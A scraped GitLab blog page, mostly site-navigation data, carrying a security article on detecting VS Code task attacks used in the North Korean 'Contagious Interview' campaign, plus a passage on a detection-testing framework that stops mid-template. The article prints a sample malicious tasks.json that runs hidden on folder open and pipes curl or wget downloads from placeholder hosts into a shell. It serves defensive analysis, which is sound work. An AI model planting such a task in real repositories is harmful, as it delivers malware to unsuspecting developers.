sales",{"href":54,"dataGaName":55,"dataGaLocation":45},"/sales/","sales",{"text":57,"config":58},"Sign in",{"href":59,"dataGaName":60,"dataGaLocation":45},"https://gitlab.com/users/sign_in/","sign in",[62,91,191,196,299,360],{"text":63,"config":64,"menu":66},"Platform",{"dataNavLevelOne":65},"platform",{"type":67,"columns":68},"cards",[69,75,83],{"title":63,"description":70,"link":71},"The intelligent orchestration platform for DevSecOps",{"text":72,"config":73},"Explore our Platform",{"href":74,"dataGaName":65,"dataGaLocation":45},"/platform/",{"title":76,"description":77,"link":78},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":79,"config":80},"Meet GitLab Duo",{"href":81,"dataGaName":82,"dataGaLocation":45},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":84,"description":85,"link":86},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":87,"config":88},"Learn more",{"href":89,"dataGaName":90,"dataGaLocation":45},"/why-gitlab/","why gitlab",{"text":92,"left":15,"config":93,"menu":95},"Product",{"dataNavLevelOne":94},"solutions",{"type":96,"link":97,"columns":101,"feature":170},"lists",{"text":98,"config":99},"View all Solutions",{"href":100,"dataGaName":94,"dataGaLocation":45},"/solutions/",[102,126,149],{"title":103,"description":104,"link":105,"items":110},"Automation","CI/CD and automation to accelerate deployment",{"config":106},{"icon":107,"href":108,"dataGaName":109,"dataGaLocation":45},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[111,115,118,122],{"text":112,"config":113},"CI/CD",{"href":114,"dataGaLocation":45,"dataGaName":112},"/solutions/continuous-integration/",{"text":76,"config":116},{"href":81,"dataGaLocation":45,"dataGaName":117},"gitlab duo agent platform - product menu",{"text":119,"config":120},"Source Code Management",{"href":121,"dataGaLocation":45,"dataGaName":119},"/solutions/source-code-management/",{"text":123,"config":124},"Automated Software Delivery",{"href":108,"dataGaLocation":45,"dataGaName":125},"Automated software delivery",{"title":127,"description":128,"link":129,"items":134},"Security","Deliver code faster without compromising security",{"config":130},{"href":131,"dataGaName":132,"dataGaLocation":45,"icon":133},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[135,139,144],{"text":136,"config":137},"Application Security Testing",{"href":131,"dataGaName":138,"dataGaLocation":45},"Application security testing",{"text":140,"config":141},"Software Supply Chain Security",{"href":142,"dataGaLocation":45,"dataGaName":143},"/solutions/supply-chain/","Software supply chain security",{"text":145,"config":146},"Software Compliance",{"href":147,"dataGaName":148,"dataGaLocation":45},"/solutions/software-compliance/","software compliance",{"title":150,"link":151,"items":156},"Measurement",{"config":152},{"icon":153,"href":154,"dataGaName":155,"dataGaLocation":45},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[157,161,165],{"text":158,"config":159},"Visibility & Measurement",{"href":154,"dataGaLocation":45,"dataGaName":160},"Visibility and Measurement",{"text":162,"config":163},"Value Stream Management",{"href":164,"dataGaLocation":45,"dataGaName":162},"/solutions/value-stream-management/",{"text":166,"config":167},"Analytics & Insights",{"href":168,"dataGaLocation":45,"dataGaName":169},"/solutions/analytics-and-insights/","Analytics and insights",{"title":171,"type":96,"items":172},"GitLab for",[173,179,185],{"text":174,"config":175},"Enterprise",{"icon":176,"href":177,"dataGaLocation":45,"dataGaName":178},"Building","/enterprise/","enterprise",{"text":180,"config":181},"Small Business",{"icon":182,"href":183,"dataGaLocation":45,"dataGaName":184},"Work","/small-business/","small business",{"text":186,"config":187},"Public Sector",{"icon":188,"href":189,"dataGaLocation":45,"dataGaName":190},"Organization","/solutions/public-sector/","public sector",{"text":192,"config":193},"Pricing",{"href":194,"dataGaName":195,"dataGaLocation":45,"dataNavLevelOne":195},"/pricing/","pricing",{"text":197,"config":198,"menu":200},"Resources",{"dataNavLevelOne":199},"resources",{"type":96,"link":201,"columns":205,"feature":288},{"text":202,"config":203},"View all resources",{"href":204,"dataGaName":199,"dataGaLocation":45},"/resources/",[206,238,260],{"title":207,"items":208},"Getting started",[209,214,219,224,229,234],{"text":210,"config":211},"Install",{"href":212,"dataGaName":213,"dataGaLocation":45},"/install/","install",{"text":215,"config":216},"Quick start guides",{"href":217,"dataGaName":218,"dataGaLocation":45},"/get-started/","quick setup checklists",{"text":220,"config":221},"Learn",{"href":222,"dataGaLocation":45,"dataGaName":223},"https://university.gitlab.com/","learn",{"text":225,"config":226},"Product documentation",{"href":227,"dataGaName":228,"dataGaLocation":45},"https://docs.gitlab.com/","product documentation",{"text":230,"config":231},"Best practice videos",{"href":232,"dataGaName":233,"dataGaLocation":45},"/getting-started-videos/","best practice videos",{"text":235,"config":236},"Integrations",{"href":237,"dataGaName":23,"dataGaLocation":45},"/integrations/",{"title":239,"items":240},"Discover",[241,246,251,255],{"text":242,"config":243},"Customer success stories",{"href":244,"dataGaName":245,"dataGaLocation":45},"/customers/","customer success stories",{"text":247,"config":248},"Blog",{"href":249,"dataGaName":250,"dataGaLocation":45},"/blog/","blog",{"text":252,"config":253},"The Source",{"href":254,"dataGaName":250,"dataGaLocation":45},"/the-source/",{"text":256,"config":257},"Remote",{"href":258,"dataGaName":259,"dataGaLocation":45},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":261,"items":262},"Connect",[263,268,273,278,283],{"text":264,"config":265},"GitLab Services",{"href":266,"dataGaName":267,"dataGaLocation":45},"/services/","services",{"text":269,"config":270},"Community",{"href":271,"dataGaName":272,"dataGaLocation":45},"/community/","community",{"text":274,"config":275},"Forum",{"href":276,"dataGaName":277,"dataGaLocation":45},"https://forum.gitlab.com/","forum",{"text":279,"config":280},"Events",{"href":281,"dataGaName":282,"dataGaLocation":45},"/events/","events",{"text":284,"config":285},"Partners",{"href":286,"dataGaName":287,"dataGaLocation":45},"/partners/","partners",{"config":289,"title":292,"text":293,"link":294},{"background":290,"textColor":291},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":295,"config":296},"Read the latest",{"href":297,"dataGaName":298,"dataGaLocation":45},"/releases/whats-new/","whats new",{"text":300,"config":301,"menu":303},"Company",{"dataNavLevelOne":302},"company",{"type":96,"columns":304},[305],{"items":306},[307,312,318,320,325,330,335,340,345,350,355],{"text":308,"config":309},"About",{"href":310,"dataGaName":311,"dataGaLocation":45},"/company/","about",{"text":313,"config":314,"footerGa":317},"Jobs",{"href":315,"dataGaName":316,"dataGaLocation":45},"/jobs/","jobs",{"dataGaName":316},{"text":279,"config":319},{"href":281,"dataGaName":282,"dataGaLocation":45},{"text":321,"config":322},"Leadership",{"href":323,"dataGaName":324,"dataGaLocation":45},"/company/team/e-group/","leadership",{"text":326,"config":327},"Team",{"href":328,"dataGaName":329,"dataGaLocation":45},"/company/team/","team",{"text":331,"config":332},"Handbook",{"href":333,"dataGaName":334,"dataGaLocation":45},"https://handbook.gitlab.com/","handbook",{"text":336,"config":337},"Investor relations",{"href":338,"dataGaName":339,"dataGaLocation":45},"https://ir.gitlab.com/","investor relations",{"text":341,"config":342},"Trust Center",{"href":343,"dataGaName":344,"dataGaLocation":45},"/security/","trust center",{"text":346,"config":347},"AI Transparency Center",{"href":348,"dataGaName":349,"dataGaLocation":45},"/ai-transparency-center/","ai transparency center",{"text":351,"config":352},"Newsletter",{"href":353,"dataGaName":354,"dataGaLocation":45},"/company/contact/#contact-forms","newsletter",{"text":356,"config":357},"Press",{"href":358,"dataGaName":359,"dataGaLocation":45},"/press/","press",{"text":361,"config":362,"menu":363},"Contact us",{"dataNavLevelOne":302},{"type":96,"columns":364},[365],{"items":366},[367,370,375],{"text":52,"config":368},{"href":54,"dataGaName":369,"dataGaLocation":45},"talk to sales",{"text":371,"config":372},"Support portal",{"href":373,"dataGaName":374,"dataGaLocation":45},"https://support.gitlab.com","support portal",{"text":376,"config":377},"Customer portal",{"href":378,"dataGaName":379,"dataGaLocation":45},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":381,"login":382,"suggestions":389},"Close",{"text":383,"link":384},"To search repositories and projects, login to",{"text":385,"config":386},"gitlab.com",{"href":59,"dataGaName":387,"dataGaLocation":388},"search login","search",{"text":390,"default":391},"Suggestions",[392,394,398,400,404,408],{"text":76,"config":393},{"href":81,"dataGaName":76,"dataGaLocation":388},{"text":395,"config":396},"Code Suggestions (AI)",{"href":397,"dataGaName":395,"dataGaLocation":388},"/solutions/code-suggestions/",{"text":112,"config":399},{"href":114,"dataGaName":112,"dataGaLocation":388},{"text":401,"config":402},"GitLab on AWS",{"href":403,"dataGaName":401,"dataGaLocation":388},"/partners/technology-partners/aws/",{"text":405,"config":406},"GitLab on Google Cloud",{"href":407,"dataGaName":405,"dataGaLocation":388},"/partners/technology-partners/google-cloud-platform/",{"text":409,"config":410},"Why GitLab?",{"href":89,"dataGaName":409,"dataGaLocation":388},{"freeTrial":412,"mobileIcon":417,"desktopIcon":422,"secondaryButton":425},{"text":413,"config":414},"Start free trial",{"href":415,"dataGaName":50,"dataGaLocation":416},"https://gitlab.com/-/trials/new/","nav",{"altText":418,"config":419},"Gitlab Icon",{"src":420,"dataGaName":421,"dataGaLocation":416},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":418,"config":423},{"src":424,"dataGaName":421,"dataGaLocation":416},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":426,"config":427},"Get Started",{"href":428,"dataGaName":429,"dataGaLocation":416},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":431,"mobileIcon":435,"desktopIcon":437},{"text":432,"config":433},"Learn more about GitLab Duo",{"href":81,"dataGaName":434,"dataGaLocation":416},"gitlab duo",{"altText":418,"config":436},{"src":420,"dataGaName":421,"dataGaLocation":416},{"altText":418,"config":438},{"src":424,"dataGaName":421,"dataGaLocation":416},{"button":440,"mobileIcon":445,"desktopIcon":447},{"text":441,"config":442},"/switch",{"href":443,"dataGaName":444,"dataGaLocation":416},"#contact","switch",{"altText":418,"config":446},{"src":420,"dataGaName":421,"dataGaLocation":416},{"altText":418,"config":448},{"src":449,"dataGaName":421,"dataGaLocation":416},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":451,"mobileIcon":456,"desktopIcon":458},{"text":452,"config":453},"Back to pricing",{"href":194,"dataGaName":454,"dataGaLocation":416,"icon":455},"back to pricing","GoBack",{"altText":418,"config":457},{"src":420,"dataGaName":421,"dataGaLocation":416},{"altText":418,"config":459},{"src":424,"dataGaName":421,"dataGaLocation":416},{"title":461,"button":462,"config":467},"See how agentic AI transforms software delivery",{"text":463,"config":464},"Sign up for GitLab Transcend on June 10",{"href":465,"dataGaName":466,"dataGaLocation":45},"/releases/whats-new/#sign-up","transcend event",{"layout":468,"icon":469,"disabled":32},"release","AiStar",{"data":471},{"text":472,"source":473,"edit":479,"contribute":484,"config":489,"items":494,"minimal":701},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":474,"config":475},"View page source",{"href":476,"dataGaName":477,"dataGaLocation":478},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":480,"config":481},"Edit this page",{"href":482,"dataGaName":483,"dataGaLocation":478},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":485,"config":486},"Please contribute",{"href":487,"dataGaName":488,"dataGaLocation":478},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":490,"facebook":491,"youtube":492,"linkedin":493},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[495,542,596,640,667],{"title":192,"links":496,"subMenu":511},[497,501,506],{"text":498,"config":499},"View plans",{"href":194,"dataGaName":500,"dataGaLocation":478},"view plans",{"text":502,"config":503},"Why Premium?",{"href":504,"dataGaName":505,"dataGaLocation":478},"/pricing/premium/","why premium",{"text":507,"config":508},"Why Ultimate?",{"href":509,"dataGaName":510,"dataGaLocation":478},"/pricing/ultimate/","why ultimate",[512],{"title":513,"links":514},"Contact Us",[515,518,520,522,527,532,537],{"text":516,"config":517},"Contact sales",{"href":54,"dataGaName":55,"dataGaLocation":478},{"text":371,"config":519},{"href":373,"dataGaName":374,"dataGaLocation":478},{"text":376,"config":521},{"href":378,"dataGaName":379,"dataGaLocation":478},{"text":523,"config":524},"Status",{"href":525,"dataGaName":526,"dataGaLocation":478},"https://status.gitlab.com/","status",{"text":528,"config":529},"Terms of use",{"href":530,"dataGaName":531,"dataGaLocation":478},"/terms/","terms of use",{"text":533,"config":534},"Privacy statement",{"href":535,"dataGaName":536,"dataGaLocation":478},"/privacy/","privacy statement",{"text":538,"config":539},"Cookie preferences",{"dataGaName":540,"dataGaLocation":478,"id":541,"isOneTrustButton":15},"cookie preferences","ot-sdk-btn",{"title":92,"links":543,"subMenu":552},[544,548],{"text":545,"config":546},"DevSecOps platform",{"href":74,"dataGaName":547,"dataGaLocation":478},"devsecops platform",{"text":549,"config":550},"AI-Assisted Development",{"href":81,"dataGaName":551,"dataGaLocation":478},"ai-assisted development",[553],{"title":554,"links":555},"Topics",[556,561,566,571,576,581,586,591],{"text":557,"config":558},"CICD",{"href":559,"dataGaName":560,"dataGaLocation":478},"/topics/ci-cd/","cicd",{"text":562,"config":563},"GitOps",{"href":564,"dataGaName":565,"dataGaLocation":478},"/topics/gitops/","gitops",{"text":567,"config":568},"DevOps",{"href":569,"dataGaName":570,"dataGaLocation":478},"/topics/devops/","devops",{"text":572,"config":573},"Version Control",{"href":574,"dataGaName":575,"dataGaLocation":478},"/topics/version-control/","version control",{"text":577,"config":578},"DevSecOps",{"href":579,"dataGaName":580,"dataGaLocation":478},"/topics/devsecops/","devsecops",{"text":582,"config":583},"Cloud Native",{"href":584,"dataGaName":585,"dataGaLocation":478},"/topics/cloud-native/","cloud native",{"text":587,"config":588},"AI for Coding",{"href":589,"dataGaName":590,"dataGaLocation":478},"/topics/devops/ai-for-coding/","ai for coding",{"text":592,"config":593},"Agentic AI",{"href":594,"dataGaName":595,"dataGaLocation":478},"/topics/agentic-ai/","agentic ai",{"title":597,"links":598},"Solutions",[599,601,603,608,612,615,619,622,624,627,630,635],{"text":136,"config":600},{"href":131,"dataGaName":136,"dataGaLocation":478},{"text":125,"config":602},{"href":108,"dataGaName":109,"dataGaLocation":478},{"text":604,"config":605},"Agile development",{"href":606,"dataGaName":607,"dataGaLocation":478},"/solutions/agile-delivery/","agile delivery",{"text":609,"config":610},"SCM",{"href":121,"dataGaName":611,"dataGaLocation":478},"source code management",{"text":557,"config":613},{"href":114,"dataGaName":614,"dataGaLocation":478},"continuous integration & delivery",{"text":616,"config":617},"Value stream management",{"href":164,"dataGaName":618,"dataGaLocation":478},"value stream management",{"text":562,"config":620},{"href":621,"dataGaName":565,"dataGaLocation":478},"/solutions/gitops/",{"text":174,"config":623},{"href":177,"dataGaName":178,"dataGaLocation":478},{"text":625,"config":626},"Small business",{"href":183,"dataGaName":184,"dataGaLocation":478},{"text":628,"config":629},"Public sector",{"href":189,"dataGaName":190,"dataGaLocation":478},{"text":631,"config":632},"Education",{"href":633,"dataGaName":634,"dataGaLocation":478},"/solutions/education/","education",{"text":636,"config":637},"Financial services",{"href":638,"dataGaName":639,"dataGaLocation":478},"/solutions/finance/","financial services",{"title":197,"links":641},[642,644,646,648,651,653,655,657,659,661,663,665],{"text":210,"config":643},{"href":212,"dataGaName":213,"dataGaLocation":478},{"text":215,"config":645},{"href":217,"dataGaName":218,"dataGaLocation":478},{"text":220,"config":647},{"href":222,"dataGaName":223,"dataGaLocation":478},{"text":225,"config":649},{"href":227,"dataGaName":650,"dataGaLocation":478},"docs",{"text":247,"config":652},{"href":249,"dataGaName":250,"dataGaLocation":478},{"text":242,"config":654},{"href":244,"dataGaName":245,"dataGaLocation":478},{"text":256,"config":656},{"href":258,"dataGaName":259,"dataGaLocation":478},{"text":264,"config":658},{"href":266,"dataGaName":267,"dataGaLocation":478},{"text":269,"config":660},{"href":271,"dataGaName":272,"dataGaLocation":478},{"text":274,"config":662},{"href":276,"dataGaName":277,"dataGaLocation":478},{"text":279,"config":664},{"href":281,"dataGaName":282,"dataGaLocation":478},{"text":284,"config":666},{"href":286,"dataGaName":287,"dataGaLocation":478},{"title":300,"links":668},[669,671,673,675,677,679,681,685,690,692,694,696],{"text":308,"config":670},{"href":310,"dataGaName":302,"dataGaLocation":478},{"text":313,"config":672},{"href":315,"dataGaName":316,"dataGaLocation":478},{"text":321,"config":674},{"href":323,"dataGaName":324,"dataGaLocation":478},{"text":326,"config":676},{"href":328,"dataGaName":329,"dataGaLocation":478},{"text":331,"config":678},{"href":333,"dataGaName":334,"dataGaLocation":478},{"text":336,"config":680},{"href":338,"dataGaName":339,"dataGaLocation":478},{"text":682,"config":683},"Sustainability",{"href":684,"dataGaName":682,"dataGaLocation":478},"/sustainability/",{"text":686,"config":687},"Diversity, inclusion and belonging (DIB)",{"href":688,"dataGaName":689,"dataGaLocation":478},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":341,"config":691},{"href":343,"dataGaName":344,"dataGaLocation":478},{"text":351,"config":693},{"href":353,"dataGaName":354,"dataGaLocation":478},{"text":356,"config":695},{"href":358,"dataGaName":359,"dataGaLocation":478},{"text":697,"config":698},"Modern Slavery Transparency Statement",{"href":699,"dataGaName":700,"dataGaLocation":478},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":702},[703,706,709],{"text":704,"config":705},"Terms",{"href":530,"dataGaName":531,"dataGaLocation":478},{"text":707,"config":708},"Cookies",{"dataGaName":540,"dataGaLocation":478,"id":541,"isOneTrustButton":15},{"text":710,"config":711},"Privacy",{"href":535,"dataGaName":536,"dataGaLocation":478},[713],{"id":714,"title":9,"body":27,"config":715,"content":717,"description":27,"extension":721,"meta":722,"navigation":15,"path":723,"seo":724,"stem":725,"__hash__":726},"blogAuthors/en-us/blog/authors/josh-feehs.yml",{"template":716},"BlogAuthor",{"name":9,"config":718},{"headshot":719,"ctfId":720},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683068/Blog/Author%20Headshots/Screenshot_2023-11-28_at_9.12.13_AM.png","g5S7qgnlO5aJJ00brs77P","yml",{},"/en-us/blog/authors/josh-feehs",{},"en-us/blog/authors/josh-feehs","GCxiCFjrkcnCx0oF_E3Ps7yjaL35GgFUFRhUekMz-kw",[728,741,754],{"content":729,"config":739},{"title":730,"description":731,"authors":732,"heroImage":733,"date":734,"body":735,"category":11,"tags":736},"How to detect and prevent Contagious Interview IDE attacks","Learn how we built custom controls that detect and prevent malware campaigns like those used for Contagious Interview and how to deploy them in your environment.",[9],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-05-04","Recently, GitLab's Threat Intelligence team, part of the Security Operations team, published an [extensive article](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/) revealing North Korean tradecraft and detailing ways in which GitLab has tracked and disrupted these malicious actors. Security Operations here also includes our Security Incident Response Team (SIRT), Security Logging, Signals Intelligence, and Red Team. This tight collaboration across security disciplines allows us to take tips from threat intelligence, emulate relevant threat actors via Red and Purple Team exercises, and proactively build detection and prevention techniques based on that activity.\n\nSo, in parallel with the discovery of the North Korean tradecraft and associated [Contagious Interview](https://attack.mitre.org/groups/G1052/) threat campaign, we developed custom controls to prevent similar malware campaigns, specifically those which use IDE attacks. In this article, we share those controls as well as the techniques we use to protect our customers, support the broader security community, and further thwart these malicious actors.\n\n## The threat intelligence\n\nThe North Korean tradecraft article focused on a broad set of attacks, techniques, and Indicators of Compromise (IOCs) that North Korean state actors are actively using to conduct both broad and targeted attacks. One of [the attack paths noted](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#_2025-campaign-trends) was the use of Visual Studio Code tasks for malware distribution. The [Contagious Interview](https://attack.mitre.org/groups/G1052/) threat campaign often relies on fake interview processes to convince their victims to download and open a code repository, enabling attack via VS Code tasks.\n\n[VS Code tasks](https://code.visualstudio.com/docs/debugtest/tasks) are a mechanism designed to automate common jobs that developers want to run when opening a repository, such as linting, building, packaging, testing, or deploying software systems. Via a simple configuration file within the repo, `tasks.json`, developers can automatically run code whenever they open their repository. Trust must be granted to the repository for these tasks to run.\n\nContagious Interview’s pretexts often rely on malicious repositories, so pivoting to using VS Code tasks for code execution is a simple continuation of their pretext. The target is prompted to download and open the malicious repository in VS Code (often for code review purposes as part of an interview). Because the victims believe they are interviewing for a job, the victim is under heavy pressure to “trust” the interviewer’s workspace, enabling the malicious task to run without their knowledge.\n\nOne example of a malicious `tasks.json` file is shown below. It is fairly simple — it detects the OS and downloads the next stage of the malware for that platform, using a `curl | bash` structure. Domains included are placeholders and not actual IOCs. Detailed IOCs for these actors were shared in our [previous blog post](https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/#appendix-2-indicators-of-compromise).\n\n\n```json\n  \"version\": \"1.0.8\",\n  \"tasks\": [\n    {\n      \"label\": \"env\",\n      \"type\": \"shell\",\n      \"osx\": {\n        \"command\": \"curl 'https://www.example[.]com/settings/mac?flag=8' | bash\"\n      },\n      \"linux\": {\n        \"command\": \"wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh\"\n      },\n      \"windows\": {\n        \"command\": \"curl https://www.example[.]com/settings/windows?flag=8 | cmd\"\n      },\n      \"problemMatcher\": [],\n      \"presentation\": {\n        \"reveal\": \"never\",\n        \"echo\": false,\n        \"focus\": false,\n        \"close\": true,\n        \"panel\": \"dedicated\",\n        \"showReuseMessage\": false\n      },\n      \"runOptions\": {\n        \"runOn\": \"folderOpen\"\n      }\n    }\n  ]\n```\n\nThis malicious code execution is then typically used to deploy infostealers, steal passwords and cryptocurrency, and ultimately establish persistence to abuse victims’ trusted accesses to corporate networks.\n\nOnce we understood how the threat actor was gaining initial code execution, we had a target for preventative measures to catch these attacks before GitLab workstations were targeted.\n\n## Multi-faceted detection and prevention\n\nWe always want to develop detective and preventative controls that are as “low level” as possible, since these types of detections are typically more difficult to bypass. Additionally, threat intelligence indicated that other projects that forked VS Code are also vulnerable to this malicious repository attack. So, instead of focusing specifically on a VS Code detection, we wanted to find the area “closest to the operating system” where this malicious code execution could be identified. This would allow our detection techniques to detect not only exploitation via VS Code tasks, but also attacks targeting using a VS Code fork or similar IDE written in Node that has background tasks.  \n   \nReviewing VS Code source, we identified that the `node-pty.spawn()` library call is used across the product when subprocesses need to be used. The [node-pty library](https://www.npmjs.com/package/node-pty) is incredibly popular, with over a million weekly downloads at time of writing. This library enables Node applications (including Electron applications such as VS Code) to fork subprocesses from a node context, and results in calls to its own binary, `spawn-helper`. When subprocesses are launched, `spawn-helper` is spawned as a child process of the Node application calling it.\n\nAfter performing a Purple Team operation to emulate this specific attack path, we reviewed our Endpoint Detection and Response (EDR) telemetry to try to not only develop a strong detection for the emulated attack, but also to tune this detection to only alert on suspicious activity, and not on legitimate developer activity. We identified that `spawn-helper` is called in situations where VS Code wants to spawn tasks that occur in the *background*, without user visibility or interaction. Conversely, a `Code Helper` binary is called when new processes (such as the integrated Terminal) are launched in the *foreground* with user interaction.\n\nThis allows us to craft detections that only look for subprocesses spawned without the user’s knowledge, and avoid false positives that flag subprocesses a user might intentionally spawn while using their IDE.\n\nAs shown earlier, a commonly-seen malicious task contains commands that run a `curl | \u003Cshell>` from a task. Although `curl | bash` can be a legitimate way to install software like Homebrew, in our environment, it should never happen in the background without the user’s knowledge. This distinction allowed us to tune `spawn-helper`\\-based detections to not alert on *every* background task that ran, but to instead trigger only on behaviors that are uncommon and suspicious in our environment. Since implementing this detection technique, we have had no false positives, even though a large part of our organization uses VS Code daily.\n\nAlthough this article has focused on detecting `spawn-helper` in your environment, this is only one of many layers of defense that you can implement in your organization to prevent and detect these IDE task-based attacks.\n\nIn addition to using EDR instrumentation to detect a malicious task at runtime, you can proactively harden your fleet against this type of attack by pushing global configs to disable task runs in VS Code. If that is too disruptive to your developers, you can also scan your environment to enumerate how often users use trusted workspaces and trusted workspace folders within their typical VS Code usage, and run education campaigns to help inform the company about the risks posed by this Contagious Interview attack path.\n\n## Summary\n\nGitLab Security Operations works around the clock to protect our customers and our company. With our tightly coupled security teams, we are able to produce actionable threat intelligence, leverage that threat intel to inform adversary emulation operations, and ultimately develop technical and procedural prevention and detection techniques that protect our customers and company.\n\nAs VS Code tasks continue to receive visibility in the security community, it’s possible that other threat actors will attempt to use this attack path for their own ends. We hope that this small example of the work we do to protect GitLab and our customers against Advanced Persistent Threats can inspire others to do the same, and to join us in our continued mission to disrupt these threat actors. \n\n> Follow our innovation and research on our [Security Labs site](https://about.gitlab.com/blog/categories/security-labs/).",[21,737,738,24],"security research","product",{"featured":32,"template":13,"slug":740},"how-to-detect-and-prevent-contagious-interview-ide-attacks",{"content":742,"config":752},{"title":743,"description":744,"authors":745,"heroImage":747,"date":748,"body":749,"category":11,"tags":750},"Build an automated detection testing framework with GitLab CI/CD and Duo","Learn how GitLab's Signals Engineering team built the WATCH framework to continuously validate our security monitoring pipeline.",[746],"Evan Baltman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-04-30","When it comes to managing a healthy alerting system for your security operations center (SOC), tuning false positives is only half the battle. An often overlooked aspect of a healthy alerting system is making sure that critical detections which rarely fire haven’t simply broken completely without anybody noticing.\n\nAt GitLab, the Signals Engineering team tests detections by simulating real malicious behavior on infrastructure we own to validate that our detections fire end-to-end — from the log source, through ingestion, into the SIEM, and all the way through our security orchestration, automation, and response (SOAR) alert routing. This is the approach taken by commercial Breach and Attack Simulation (BAS) tools, but those tools are expensive, generic, and not tailored to our specific detection stack. So we built our own fully automated framework we named Weekly Attack Testing for Continuous Health, or WATCH.\n\nIn this article, you'll learn why we developed this framework, how it works, and how to use it in your environment. \n\n##  A gap in detection validation\n\nWith log schema changes, SIEM updates, pipeline misconfigurations, etc. there are a million ways for your detections to fail silently and only one way for them to fire as expected. When faced with these odds, the conclusion is obvious: “Let’s trigger some old detections\\!” This raises the next question, however, of “How exactly does one trigger detections?” and “How often?”\n\nOne way to trigger detections is through the synthetic approach of reintroducing logs into your SIEM that simulate malicious behavior. Then, you wait to see if your detection rule catches the fake issue and triggers an alert. This approach, aside from failing to prove the detection works in a “real world” scenario, doesn’t validate one of the most error-prone stages of the alert lifecycle, log ingestion (i.e. from log source to SIEM).\n\nWe previously wrote about how our [GitLab Universal Automated Response and Detection (GUARD) system](https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd/) automates detection creation and deployment through a detections as code (DaC) pipeline and how alerts are routed and triaged through our SOAR. Our DaC pipelines solve the problem of validating that a detection *can deploy* without errors, but it doesn't answer the question of whether that detection will actually *fire* when the behavior it targets occurs in the wild.\n\nWATCH closes that gap. It's the continuous validation layer that gives us confidence that our detections are working.\n\n## How WATCH works\n\nAt a high level, WATCH works by executing scripted attack simulations in our staging environment, and then verifying that the expected alerts propagate through our entire security monitoring stack: our SIEM for detection rules, our SOAR for alert routing, and ultimately the dashboards our team uses to monitor detection health.\n\nThe lifecycle of a WATCH test looks like this:\n\n1. **Scheduling**: Every week, a scheduled GitLab CI/CD pipeline discovers all active tests and distributes them into randomized time slots across the week. Randomization is important; we don't want tests firing at predictable times, which would make it too easy to distinguish test activity from real threats and could mask timing-sensitive issues with our detections.  \n2. **Heads-up notification**: Before a test runs, WATCH notifies our SOAR via a dedicated \"WATCH Heads Up\" story, registering the detections it expects to trigger. This creates trackable records so our SOAR knows what's coming.  \n3. **Execution**: The test runs its simulated malicious behavior. For example, it resets an admin account password or makes suspicious API calls against the staging environment.  \n4. **Detection**: The SIEM processes the activity logs from staging and (hopefully) fires the corresponding detection rules.  \n5. **Correlation**: As alerts arrive in our SOAR, an \"Is this a WATCH Test?\" check determines whether each alert corresponds to a registered test by matching on three factors: the time window between the test run and the alert, the actor identity (IP or username), and the rule ID of the detection that fired. This is what prevents WATCH-generated alerts from being escalated as real incidents to SIRT, while still validating the full pipeline.  \n6. **Verification**: A follow-up pipeline stage checks whether all expected detections fired, updates the detection status metadata, and deploys updated results to our GitLab Pages dashboard. If any detection fails to fire, a notification is sent to our team's Slack channel.\n\n## Using WATCH with GitLab CI/CD\n\nWATCH leverages GitLab CI/CD as its orchestration backbone across three pipeline stages.\n\nThe **schedule_pipelines** stage runs weekly and handles test distribution. It discovers all active tests, bins them into groups, and creates scheduled pipelines set to run at random times throughout the week. Each scheduled pipeline is given a `TESTS_TO_RUN` variable specifying which tests it should execute.\n\nThe **run_tests** stage is where the actual attack simulation happens. It executes the tests assigned to that pipeline run, saves execution statistics to `detection_status.json`, and records SOAR record IDs so alert correlation can happen downstream.\n\nThe **pages** stage handles verification and reporting. It queries our SOAR to confirm that alerts were generated and properly routed, updates detection metadata with the verification results, and deploys the GitLab Pages dashboard with the latest test outcomes.\n\nBelow is a template GitLab CI/CD `gitlab-ci.yml` configuration file for the WATCH pipeline:\n\n```\nspec:\n  inputs:\n    weekly_scheduling:\n      type: boolean\n      default: false\n      description: \"Enable weekly scheduling of detection tests.\"\n    update_pages:\n      type: boolean\n      default: false\n      description: \"For triggering the update of GitLab Pages dashboard.\"\n\n---\n\n# Specify the Docker image to use for the job\nimage: python:3.12\n\nstages:\n  - schedule_pipelines\n  - run_tests\n  - pages\n\n# Job to manage 